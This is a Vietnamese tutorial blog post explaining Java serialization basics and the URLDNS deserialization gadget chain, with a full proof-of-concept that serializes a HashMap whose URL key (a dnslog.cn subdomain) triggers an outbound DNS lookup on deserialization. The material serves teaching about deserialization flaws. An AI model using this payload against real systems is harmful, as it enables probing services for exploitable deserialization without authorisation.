Introduction to Java Deserialization

  1. 1. Serialization và Deserialization
    1. 1.1. 1. Serialization và deserialization là gì?
    2. 1.2. 2. Những quá trình cần sử dụng đến Serialization:
    3. 1.3. 3. Triển khai quá trình Ser và Deser cơ bản:
  2. 2. Cách mà lỗ hổng Deserialization xảy ra:
    1. 2.1. 1. HashMap và cách nó gây ra lỗ hổng Deserialization:
    2. 2.2. 2. Phân tích chuỗi URLDNS:
    3. 2.3. 3. POC cho chuỗi URLDNS:
      1. 2.3.1. Chú ý khi thực hiện serialize object của lớp HashMap:
      2. 2.3.2. POC hoàn thiện của chuỗi URLDNS:

Bài viết này là về những concept cơ bản của quá trình Serialization và Deserialization và cách mà lỗ hổng Java Deserialization được thực thi.

Serialization và Deserialization

1. Serialization và deserialization là gì?

Hiểu một cách đơn giản hai quá trình này là:

  • Serialization: Object –> string hay bytecode(với Java)
  • Deserialization: string hoặc bytecode –> Object

2. Những quá trình cần sử dụng đến Serialization:

Lưu các đối tượng (ở đây xem như dữ liệu) vào bộ nhớ, tệp, cơ sở dữ liệu,…
Truyền các đối tượng qua mạng.
Chuyển đối tượng qua RMI.

3. Triển khai quá trình Ser và Deser cơ bản:

Ở đây mình tạo một package SerialBasic rồi cho các lớp vào trong package đó.

File Person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

package SerialBasic;
import java.io.Serializable;
public class Person implements Serializable{
private String name;
private int age;
public Person(){
}
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{name='"+name+"' age="+age+"}";
}
}

File SerializationTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

package SerialBasic;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;

public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException {
Person person = new Person("rayinaw", 16);
serialize(person);
}
}

File DeserializationTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

package SerialBasic;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class DeserializationTest {
public static Object deserialize(String FileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FileName));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
Person test = (Person) deserialize("ser.txt");
System.out.println(test);
}
}

Đầu tiên ta chạy file SerializationTest.java, sau khi chạy xong ta thấy ở trong thư mục cha của src có một file ser.txt mới được tạo.
Tiếp đến chạy file DeserializationTest.java:

Giải thích:

  • SerializationTest.java
    Ban đầu chúng ta khởi tạo một object new FileOutputStream(“ser.txt”), tiếp đến chúng ta khởi tạo một ObjectOutputStream. Rồi thực hiện oos.writeObject(obj) để viết đối tượng vào file ser.txt
    1
    2
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));  
    oos.writeObject(obj);
  • DeserializationTest.java
    1
    2
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
    Object obj = ois.readObject();

Cách mà lỗ hổng Deserialization xảy ra:

Ở đây mình dùng Intellij để thực hiện, một IDEA rất tiện lợi mà ai làm việc với Java đều sử dụng.
Mình chỉ nói đến một chuỗi cơ bản để các bạn có thể hình dung cách thực hiện và bắt đầu với Deserialization trong Java nhé ^^.

1. HashMap và cách nó gây ra lỗ hổng Deserialization:

Ctrl + N và tìm kiếm lớp HashMap:

Lớp HashMap này có implements lớp Serializable vậy nên chúng ta có thể dùng nó để lợi dụng quá trình Ser và Deser.

Tiếp theo mở phần Structure và tìm kiến method readObject của lớp HashMap:

Trong method readObject ta thấy có phần quan trọng ở đây:

  • Đầu tiên thực hiện gán key và value = s.readObject()
  • Sau đó thực hiện hàm putVal(), điểm cần chú ý ở đây là nó đưa key vào method hash().

Ctrl + Chuột trái để đi vào phương thức hash():

Trong phương thức hash này, nếu key == null sẽ return 0, còn không thì sẽ thực hiện h = key.hashCode()) ^ (h >>> 16) rồi return h.
Điểm mà chúng ta cần chú ý ở đây là nó thực hiện key.hashCode() mình sẽ đi sâu một chút cho các bạn dễ hiểu:

  • Trong Java có một lớp là cha của mọi lớp đó là lớp Object, nó có các phương thức như toString(), hashCode(),…
  • key là một object của lớp hashMap mà implements ngầm lớp Object (vì nó cha của mọi lớp mà) vậy nên nó thừa hưởng các phương thức của lớp Object. Nên ở đây chúng ta có thể gọi key.hashCode()

Việc gọi hashCode() ở đây có ý nghĩa gì thì chúng ta cùng đi sâu vào chuổi URLDNS nhé!

2. Phân tích chuỗi URLDNS:

Chuỗi URLDNS là một chuỗi đơn giản nhất trong các gadget chain (đương nhiên sẽ hơi khó hiểu với người bắt đầu, keep going ^^). Chuỗi này không thực sự gây ra một vấn đề gì nghiêm trọng như là RCE hay là SSRF…, kết quả của chuỗi này là thực hiện một yêu cầu DNS đến địa chỉ mà chúng ta đưa vào. Nó có kết quả phải không nào ^^, vậy nên chuỗi này sẽ giúp các bạn biết được một gadget chain sẽ xảy ra như thế nào. Cố gắng viết code, đọc hiểu để nhanh tiến bộ nhé ٩(^‿^)۶…

Chuỗi thực thi của URLDNS như sau:

1
2
3
4
5
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

Để tạo một HashMap, đầu tiên chúng ta thực hiện tạo một object hashmap, sau đó chúng ta sẽ thực hiện hàm put() để đưa dữ liệu vào trong object HashMap đó.

1
2
3
4
5
6
public static void main(String[] args) throws IOException {

HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
hashmap.put(new URL("https://0tvykt.dnslog.cn"), 1);
serialize(hashmap);
}

Ở đây tham số đầu tiên của hàm put() là một object key, và tham số thứ hai là value. Hai biến này tương ứng với key và value mình đã phân tích ở trên phần phân tích về HashMap. Ở đây vì key nhận vào là một object nên ở đây chúng ta sẽ tạo một object URL để thực hiện chain này.
Bây giờ, giả sử như chúng ta thực hiện readObject hashmap, nó sẽ đi theo sơ đồ:

1
2
3
4
5
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

Và đến đây, phương thức hashCode() được gọi sau khi readObject() sẽ phát huy tác dụng. Chúng ta sẽ đi sâu vào phần này:
Tiếp tục chúng ta tìm class URL rồi tìm đến method hashCode().

Ở đây, phương thức hashCode() của lớp Object đã được định nghĩa lại trong lớp URL:

  • Nếu hashCode không bằng -1 thì sẽ thực hiện return hashCode bởi vì nó đã được set rồi.
  • Nếu không thì hashCode sẽ được gán bằng handler.hashCode(this), this ở đây có nghĩa là nó sẽ lấy object của lớp hiện tại đưa vào handler.hashCode rồi thực hiện tiếp.
    Tiến hành Ctrl+Chuột trái rồi nhấn vào handler để đi đến nơi mà biến hanler được tạo.
    Ảnh biến handler
    1
    transient URLStreamHandler handler;
    Biến handler ở đây là một object của lớp URLStreamHandler, object này sẽ gọi đến phương thức hashCode() được định nghĩa trong lớp này. Tiến hành Ctrl+Chuột trái rồi click vào URLStreamHandler, rồi tìm đến phương thức hashCode().

Trong phương thức này chúng ta thấy dòng InetAddress addr = getHostAddress(u); có nghĩa là nó sẽ thực hiện một yêu cầu DNS đến địa chỉ URL để thực hiện getHostAddress. Đến đây ta đạt được mục đích của Chain này đó là request đến địa chỉ URL mà ta cung cấp. Còn lại phần sau và việc nó thực hiện request thế nào thì chúng ta không cần quan tâm, chỉ vậy là đã đủ (Đương nhiên bạn nào thích thì cứ tìm hiểu nhé ^^).

3. POC cho chuỗi URLDNS:

Link nhận DNS request: http://dnslog.cn/

Chú ý khi thực hiện serialize object của lớp HashMap:

Filename: SerializeTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package BasicChain;

import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class SerializeTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("Ser2.txt"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
hashmap.put(new URL("https://0tvykt.dnslog.cn"), 1);
serialize(hashmap);
}
}

Sau khi chạy file này, dù chưa thực hiện deserialize file Ser2.txt mà chúng ta đã nhận được request đến. Nguyên nhân là do khi thực hiện gán giá trị vào object hashmap bằng hashmap.put(), hàm hash trong phương thức này đã được thực hiện và sẽ request đến địa chỉ URL mà ta cung cấp.

Sau khi request đến URL, biến hashcode bây giờ đã không còn là -1 nữa, khi đó trong quá trình deserialize request sẽ không được gửi đến. Vậy nên sau khi thực hiện deserialize, chúng ta cần thực hiện set lại giá trị cho hashcode là -1. Tuy nhiên vấn đề ở đây là biến hashcode là private, để gán lại giá trị cho biến private chúng ta cần sử dụng đến Reflection mà mình đã có bài viết về nó.

POC hoàn thiện của chuỗi URLDNS:

file: SerializeTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package BasicChain;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializeTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("Ser2.txt"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("https://2g1hil.dnslog.cn");
Field hashcode = URL.class.getDeclaredField("hashCode");
//Field hashcode = url.getClass().getDeclaredField("hashCode"); Cách khác để lấy field hashcode
hashmap.put(url, 1);
hashcode.setAccessible(true);
hashcode.set(url, -1);
serialize(hashmap);
}
}

file: Deser.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package BasicChain;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Deser {
public static void Deserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
Deserialize("ser2.txt");
}
}

Kết quả:

Vậy là mình đã giới thiệu xong về cơ bản của quá trình Deserialization và đi qua hết chuỗi URLDNS. Đây chỉ là những kiến thức cơ bản của lỗ hổng Java Deserialization. Để hiểu sâu hơn về lỗ hổng này, mình thực sự khuyên các bạn hãy hiểu tường tận về những keyword sau: “Class Class”, “Class Object”, “Class Runtime”, “Reflection”, các khái niệm về OOP, và còn nhiều thứ khác nữa. Và hãy cố gắng đọc hiểu và tự mình viết POC cho lỗ hổng này, khá khó để bắt đầu nhưng hi vọng các bạn có thể vượt qua.

Hành trình nào mà không có gian nan, đau khổ ^^… Chúc các bạn học tốt~